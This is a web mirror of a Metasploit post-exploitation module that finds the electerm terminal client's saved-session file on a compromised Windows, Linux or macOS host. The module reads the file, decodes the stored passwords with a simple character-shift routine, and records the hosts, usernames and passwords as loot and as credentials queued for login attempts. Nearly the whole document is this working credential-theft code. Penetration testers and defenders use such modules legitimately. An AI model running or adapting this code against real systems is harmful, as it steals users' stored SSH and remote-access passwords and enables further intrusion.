CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/gather/electerm.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
require 'json'
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
9
def initialize(info = {})
10
super(
11
update_info(
12
info,
13
'Name' => 'Gather electerm Passwords',
14
'Description' => %q{
15
This module will determine if electerm is installed on the target system and, if it is, it will try to
16
dump all saved session information from the target. The passwords for these saved sessions will then be decrypted
17
where possible.
18
},
19
'License' => MSF_LICENSE,
20
'References' => [
21
[ 'URL', 'https://blog.kali-team.cn/metasploit-electerm-6854f3d868eb45eab6951acc463a910d' ]
22
],
23
'Author' => ['Kali-Team <kali-team[at]qq.com>'],
24
'Platform' => [ 'linux', 'win', 'osx', 'unix'],
25
'SessionTypes' => [ 'meterpreter', 'shell', 'powershell' ],
26
'Notes' => {
27
'Stability' => [],
28
'Reliability' => [],
29
'SideEffects' => []
30
}
31
)
32
)
33
register_options(
34
[
35
OptString.new('BOOKMARKS_FILE_PATH', [ false, 'Specifies the electerm.bookmarks.nedb file path for electerm']),
36
]
37
)
38
end
39
40
# Decrypt password https://github.com/electerm/electerm/blob/master/src/app/common/pass-enc.js
41
def dec_electrm_password(enc)
42
result = enc.chars.map.with_index do |s, i|
43
((s.ord - i - 1 + 65536) % 65536).chr
44
end.join
45
return result
46
end
47
48
def print_and_save(all_result)
49
pw_tbl = Rex::Text::Table.new(
50
'Header' => 'electerm Password',
51
'Columns' => [
52
'Title',
53
'Type',
54
'Host',
55
'Port',
56
'Username',
57
'Password',
58
'Description',
59
]
60
)
61
all_result.each do |value|
62
next if !value.key?('username') || !value.key?('password')
63
64
row = []
65
row << value['title'] || ''
66
row << value.fetch('type', 'ssh')
67
row << value['host'] || ''
68
row << value['port'] || ''
69
row << value['username'] || ''
70
row << value['password'] || ''
71
row << value['description'] || ''
72
pw_tbl << row
73
config = {
74
type: value['type'],
75
host: value['host'],
76
port: value['port'],
77
username: value['username'],
78
password: value['password']
79
}
80
electerm_store_config(config)
81
end
82
if pw_tbl.rows.count > 0
83
path = store_loot('host.electerm', 'text/plain', session, pw_tbl, 'electerm.txt', 'electerm Password')
84
print_good("Passwords stored in: #{path}")
85
print_good(pw_tbl.to_s)
86
end
87
end
88
89
def electerm_store_config(config)
90
service_data = {
91
address: config[:host],
92
port: config[:port],
93
service_name: config[:type],
94
protocol: 'tcp',
95
workspace_id: myworkspace_id
96
}
97
98
credential_data = {
99
origin_type: :session,
100
session_id: session_db_id,
101
post_reference_name: refname,
102
private_type: :password,
103
private_data: config[:password],
104
username: config[:username]
105
}.merge(service_data)
106
107
credential_core = create_credential(credential_data)
108
109
login_data = {
110
core: credential_core,
111
status: Metasploit::Model::Login::Status::UNTRIED
112
}.merge(service_data)
113
114
create_credential_login(login_data)
115
end
116
117
def parse_jsonlines(line)
118
result_hashmap = Hash.new
119
begin
120
result_hashmap = JSON.parse(line)
121
rescue ::JSON::ParserError => e
122
raise Error::ParserError, "[parse_bookmarks] #{e.class} - #{e}"
123
end
124
if result_hashmap.key?('password') && result_hashmap.key?('passwordEncrypted')
125
result_hashmap['password'] = dec_electrm_password(result_hashmap['password'])
126
end
127
return result_hashmap
128
end
129
130
def parse_json(bookmarks_path)
131
some_result = []
132
if session.platform == 'windows'
133
bookmarks_path.gsub!('/') { '\\' }
134
end
135
begin
136
if file_exist?(bookmarks_path)
137
nedb_data = read_file(bookmarks_path) || ''
138
print_error('The file could not be read') if nedb_data.empty?
139
nedb_data.each_line do |line|
140
some_result << parse_jsonlines(line)
141
end
142
credentials_config_loot_path = store_loot('host.electerm.creds', 'text/json', session, JSON.pretty_generate(some_result), bookmarks_path)
143
print_good("electerm electerm.bookmarks.nedb saved to #{credentials_config_loot_path}")
144
print_status("Finished processing #{bookmarks_path}")
145
else
146
print_error("Cannot find file #{bookmarks_path}")
147
end
148
rescue StandardError => e
149
print_error("Error when parsing #{bookmarks_path}: #{e}")
150
end
151
return some_result
152
end
153
154
def get_bookmarks_path
155
bookmarks_dir = ''
156
case session.platform
157
when 'windows'
158
app_data = get_env('AppData')
159
if app_data.present?
160
bookmarks_dir = app_data + '\electerm\users\default_user'
161
end
162
when 'linux', 'osx', 'unix'
163
home = get_env('HOME')
164
if home.present?
165
bookmarks_dir = home + '/.config/electerm/users/default_user'
166
end
167
end
168
bookmarks_path = File.join(bookmarks_dir, 'electerm.bookmarks.nedb')
169
return bookmarks_path
170
end
171
172
def run
173
print_status('Gather electerm Passwords')
174
all_result = []
175
bookmarks_path = ''
176
if datastore['BOOKMARKS_FILE_PATH'].present?
177
bookmarks_path = datastore['BOOKMARKS_FILE_PATH']
178
print_status("Looking for JSON files in #{bookmarks_path}")
179
all_result += parse_json(bookmarks_path)
180
end
181
if bookmarks_path.empty?
182
bookmarks_path = get_bookmarks_path
183
if !bookmarks_path.blank?
184
result = parse_json(bookmarks_path)
185
if !result.empty?
186
all_result += result
187
end
188
end
189
end
190
print_and_save(all_result)
191
end
192
end
193
194